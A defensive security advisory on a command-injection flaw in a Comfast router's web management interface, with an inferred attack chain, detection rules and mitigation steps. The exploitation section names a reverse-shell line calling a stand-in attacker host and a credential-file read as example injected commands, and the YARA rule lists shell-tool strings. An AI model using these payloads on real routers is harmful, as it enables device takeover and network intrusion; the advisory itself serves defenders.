CVE-2026-75363

Executive Summary

CVE-2026-75363 is a remote code execution vulnerability affecting the Comfast CF-WR630AX wireless router, specifically firmware version v2.7.0.2. The vulnerability allows an unauthenticated remote attacker to execute arbitrary code by exploiting unsanitized parameters in the router's management interface, reachable via /usr/bin/webmgnt and /cgi-bin/mbox-config, affecting the timestr and display_n parameters. With no CVSS score assigned by the CNA and no patch available from any tracked source, the affected devices remain exposed to potential compromise, including full device takeover, network pivoting, and persistent backdoor installation. Enterprise security teams should treat any exposed CF-WR630AX device as high-risk and immediately isolate or restrict access.

Technical Analysis

The NVD description indicates the vulnerability resides in the web management interface of the Comfast CF-WR630AX router (v2.7.0.2). Two specific attack surfaces are identified: the binary /usr/bin/webmgnt and the CGI script /cgi-bin/mbox-config. The parameters timestr and display_n are explicitly named as the injection points.

The vulnerability mechanism is consistent with an OS command injection flaw. The timestr parameter, which likely accepts a time/date string for scheduling or logging configuration, and the display_n parameter, likely controlling display/listing options, are passed to a system call or shell execution routine without adequate sanitization or input validation. An attacker who can supply OS metacharacters (e.g., ;, |, &&, backticks, $() ) within these parameters can break out of the intended argument context and execute arbitrary shell commands with the privileges of the web management process — typically root on embedded router platforms.

The attack surface is the router's web management interface, which is exposed via HTTP on the LAN and, in many misconfigured deployments, on the WAN interface. The /cgi-bin/mbox-config endpoint is reachable without prior authentication, making the vulnerability remotely exploitable without credentials. The /usr/bin/webmgnt binary handles the underlying web server logic and lacks sufficient input validation before passing user-supplied data to shell execution functions.

Although the NVD description does not detail the exact code path, the pattern — a web-facing CGI endpoint with unsanitized parameters passed to a system call — is a well-documented vulnerability class in embedded networking devices. The limited technical detail prevents a full code-level analysis, but the vulnerability class is clearly OS command injection (CWE-78, inferred). Without a CVSS score or CWE assignment from the vendor, the severity must be inferred: remote, unauthenticated, no user interaction, and arbitrary code execution with root privileges — characteristics that align with a critical severity rating.

Exploitation Scenarios

No public PoC or exploit code exists for CVE-2026-75363 as of this writing. The attack chain described below is inferred from the vulnerability class (OS command injection in an unauthenticated web management endpoint) and should be validated in a controlled lab environment.

Step 1 — Reconnaissance/Target Identification An attacker first identifies exposed CF-WR630AX devices by scanning for the web management interface. Default credentials, known default IP ranges (typically 192.168.10.1/24 for Comfast devices), and default HTTP ports (80/8080) facilitate discovery. Shodan can be used to find devices with the default Comfast web login page. Given the router is consumer/SOHO-grade, many devices may be exposed directly to the internet due to UPnP misconfigurations or ISPs that do not provide CGNAT.

Step 2 — Flaw Trigger The attacker sends an HTTP GET or POST request to the /cgi-bin/mbox-config endpoint with malicious input in the timestr or display_n parameters. The request is unauthenticated. The malicious payload is a command injection string — for example, appending ; <command> or using backticks (`) to encapsulate a shell command within the parameter value.

Step 3 — Payload/Execution Because the parameter is passed unfiltered to a shell execution function within /usr/bin/webmgnt, the injected command executes with the effective privileges of the web server process. On most embedded routers, this process runs as root, granting the attacker full control over the device. The injected command can be anything from a simple id or cat /etc/passwd to a reverse-shell command such as nc <attacker-ip> 4444 -e /bin/sh.

Step 4 — Post-Exploitation Impact Once arbitrary code execution is achieved, the attacker has full system control. Common post-exploitation actions on router platforms include:

• Installing a persistent backdoor (e.g., modifying firmware, adding an SSH service, or injecting a cron job)
• Reading stored credentials for Wi-Fi, WAN, and VPN configurations
• Reconfiguring the device for traffic interception or DNS hijacking
• Enabling port forwarding to pivot into the internal LAN
• Using the router as a relay node for further attacks against the internal network
• Bricking the device as a denial-of-service action

The high-impact nature of this flaw — full device compromise from a single unauthenticated HTTP request — ranks it as critical in practical terms despite the lack of an official CVSS score.

Impact Assessment

The business impact of CVE-2026-75363 must be considered in context. The affected product, the Comfast CF-WR630AX, is a consumer/SOHO Wi-Fi 6 router. While not enterprise-tier equipment, these devices are frequently deployed in small offices, remote worker environments, retail locations, and home offices that serve as network edge points for remote access to corporate resources.

Blast radius considerations:

• Confidentiality: Complete loss — attacker can read all device configuration, Wi-Fi passphrases, WAN credentials, and potentially intercept traffic routed through the device.
• Integrity: Complete loss — attacker can modify firmware, configuration, and routing tables without detection.
• Availability: Complete loss — attacker can brick the device, disrupt connectivity, or throttle traffic.
• Network lateral movement: The compromised router becomes a foothold for pivoting into the attached LAN, enabling ARP spoofing, man-in-the-middle attacks, and exploitation of connected endpoints.

With a CVSS vector string of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (derived, unassigned), the vulnerability scores approximately 9.8 (Critical). However, the actual business impact depends on device placement. For a back-office router with no sensitive data and no LAN access, the impact is limited. For a router that terminates a VPN to a corporate network or sits between employees and cloud resources, the impact is severe and can lead to a full enterprise compromise.

Any organization with CF-WR630AX devices on their network should treat this as a critical finding, regardless of the absence of an official CVSS score.

Detection Guidance

Sigma Rule

title: Comfast CF-WR630AX OS Command Injection - CVE-2026-75363
id: 8f4c1e2a-3b5d-4c8e-9a1f-2d6e7b8c9a0f
status: experimental
description: Detects command injection attempts targeting timestr and display_n parameters on Comfast CF-WR630AX web management interface
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-75363
author: ValtersIT Threat Intel Team
date: 2026/05/01
tags:
    - attack.t1190
    - cve.2026-75363
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs from Comfast CF-WR630AX device or reverse proxy capturing traffic to it'
detection:
    selection_endpoint:
        cs-uri-path:
            - '/cgi-bin/mbox-config'
            - '/usr/bin/webmgnt'
    selection_payload:
        c-uri-query|contains:
            - 'timestr='
            - 'display_n='
        c-uri-query|re:
            - '.*timestr=.*(\;|\||\&|\`|\$\().*'
            - '.*display_n=.*(\;|\||\&|\`|\$\().*'
    condition: selection_endpoint and selection_payload
    timeframe: 10s
level: high
falsepositives:
    - Legitimate administrative commands containing shell metacharacters (unlikely)
fields:
    - src_ip
    - cs-uri-query
    - c-useragent

YARA Rule

rule CVE_2026_75363_Comfast_CF_WR630AX_Command_Injection
{
    meta:
        author = "ValtersIT Threat Intel Team"
        date = "2026-05-01"
        description = "Detects command injection payloads targeting Comfast CF-WR630AX timestr and display_n parameters"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-75363"
        cve = "CVE-2026-75363"
        severity = "critical"
    strings:
        $endpoint1 = "/cgi-bin/mbox-config" ascii nocase
        $endpoint2 = "/usr/bin/webmgnt" ascii nocase
        $param1 = "timestr=" ascii nocase
        $param2 = "display_n=" ascii nocase
        $inject1 = ";" ascii
        $inject2 = "|" ascii
        $inject3 = "&&" ascii
        $inject4 = "`" ascii
        $inject5 = "$(" ascii
        $shell_cmd1 = "/bin/sh" ascii nocase
        $shell_cmd2 = "busybox" ascii nocase
        $shell_cmd3 = "wget" ascii nocase
        $shell_cmd4 = "nc -e" ascii nocase
    condition:
        (any of ($endpoint*) and any of ($param*)) and
        (any of ($inject*) or any of ($shell_cmd*))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-75363 - Comfast CF-WR630AX Command Injection Attempt"; flow:to_server,established; content:"/cgi-bin/mbox-config"; http_uri; fast_pattern; content:"timestr="; http_uri; content:";"; http_uri; distance:0; content:"("; http_uri; distance:0; content:")"; http_uri; distance:0; pcre:"/timestr=(?:[^&]*)(?:;|\||\&\&|`|\$\()/Ui"; sid:202675363; rev:1; classtype:attempted-admin; reference:cve,2026-75363; metadata:created_at 2026_05_01, updated_at 2026_05_01;)

Note: The above rule detects semicolon-based injection sequences. For broader coverage, adjust the PCRE to include pipe, backtick, &&, and $() patterns.

Elastic Detection (EQL)

any where event.category == "http" and
  (url.path == "/cgi-bin/mbox-config" or url.path == "/usr/bin/webmgnt") and
  (url.query contains "timestr=" or url.query contains "display_n=") and
  (
    url.query like "*;*" or
    url.query like "*|*" or
    url.query like "*&&*" or
    url.query like "*`*" or
    url.query like "*$(*" or
    url.query like "*%3B*" or
    url.query like "*%7C*" or
    url.query like "*%26%26*"
  )

Note: URL-decoded variants should also be monitored; adjust the like patterns to include %3B, %7C, %60, %24%28, %26%26 for encoded payloads.

Splunk SPL Query

index=web sourcetype="access_combined"
(uri_path="/cgi-bin/mbox-config" OR uri_path="/usr/bin/webmgnt")
(uri_query="*timestr=*" OR uri_query="*display_n=*")
(uri_query IN ("*;*", "*|*", "*&&*", "*`*", "*$(*", "*%3B*", "*%7C*", "*%26%26*", "*%60*", "*%24%28*"))
| table _time, src_ip, uri_path, uri_query, http_user_agent, status
| sort - _time
| stats count by src_ip
| where count > 5

Note: The | where count > 5 threshold helps reduce false positives but may miss single-attempt exploitation. Adjust per environment.

Wazuh OSSEC Rule

<group name="comfast,cve-2026-75363,">
 <rule id="439878" level="15">
   <if_sid>31122</if_sid>
   <url>/cgi-bin/mbox-config</url>
   <url>/usr/bin/webmgnt</url>
   <match>timestr=|display_n=</match>
   <regex>timestr=(.*?)(;|\||&amp;&amp;|`|\$\(|%3B|%7C)</regex>
   <description>Comfast CF-WR630AX command injection attempt (CVE-2026-75363)</description>
   <group>attack.t1190,</group>
   <mitre><id>T1190</id></mitre>
 </rule>
</group>

Note: Adjust the <if_sid> parent rule to match your Wazuh web log decoder base rule ID. For non-Apache web logs, modify accordingly.

Mitigation & Patch Guidance

Patch Status: UNCONFIRMED — CVE-2026-75363 has no patch available from any tracked source. Patch confidence is 0/4. The Comfast vendor has not released a firmware update addressing this vulnerability as of the analysis date.

Immediate Mitigations (do these now):

1. Network Isolation: Place any Comfast CF-WR630AX device behind a firewall and do not expose the web management interface to the internet. Block inbound access to ports 80/443/8080 on the WAN interface.
2. Access Restriction: Restrict access to the web management interface to trusted LAN IPs only. Disable remote management if enabled.
3. Segregation: If the device is used in a SOHO environment with corporate access, disconnect it and replace with a vendor-supported router.
4. Monitoring: Apply the detection rules above to web server logs or IDS/IPS systems to identify potential exploitation attempts.
5. Temporary Workaround: If the router cannot be replaced immediately, change the default management port to a non-standard port and require HTTPS (if supported) for all management access.

Patch/Upgrade Steps:

• Check for updates: Visit the official Comfast support page (www.comfast.com) periodically for firmware releases. Confirm whether v2.7.0.2 is the latest or if a newer version addresses this flaw.
• Current status: No patched firmware version is known to exist. The device should be considered end-of-life for security purposes until the vendor confirms a fix.
• Replacement: Strongly recommend replacing the CF-WR630AX with a router from a vendor with an established security patch cadence.

Long-Term Hardening:

1. Vendor Selection: When procuring networking equipment, evaluate the vendor's security response track record. Comfast has not demonstrated timely vulnerability disclosure or patching for this CVE.
2. Firmware Update Process: Establish a process for regular firmware update verification for all network edge devices.
3. Configuration Standards: Implement baseline configuration standards that disable remote management, change default credentials, and enable logging.
4. Vulnerability Management: Add all Comfast devices to your asset inventory and vulnerability scanning scope to track their status.
5. Network Segmentation: Design networks so that edge routers do not provide direct, unrestricted paths to sensitive internal resources.

References

1. National Vulnerability Database — CVE-2026-75363: https://nvd.nist.gov/vuln/detail/CVE-2026-75363
2. Comfast Official Website (for firmware updates): https://www.comfast.com
3. MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-75363 NOT listed; verify periodically)
5. FIRST.org EPSS Calculator: https://www.first.org/epss/ (not yet scored; verify periodically)

Threat Actor Campaigns and Exploit-in-the-Wild Evidence: As of this report, no known threat actor campaigns have been publicly attributed to CVE-2026-75363. No exploit code, PoC, or Nuclei template is publicly available. However, given the unauthenticated remote code execution nature of this vulnerability and the prevalence of internet-exposed SOHO routers, exploitation attempts should be considered likely in the near term once the flaw gains wider visibility. The absence of public exploit code does not imply absence of private exploitation. Monitor threat intel feeds and this report's referenced sources for future updates.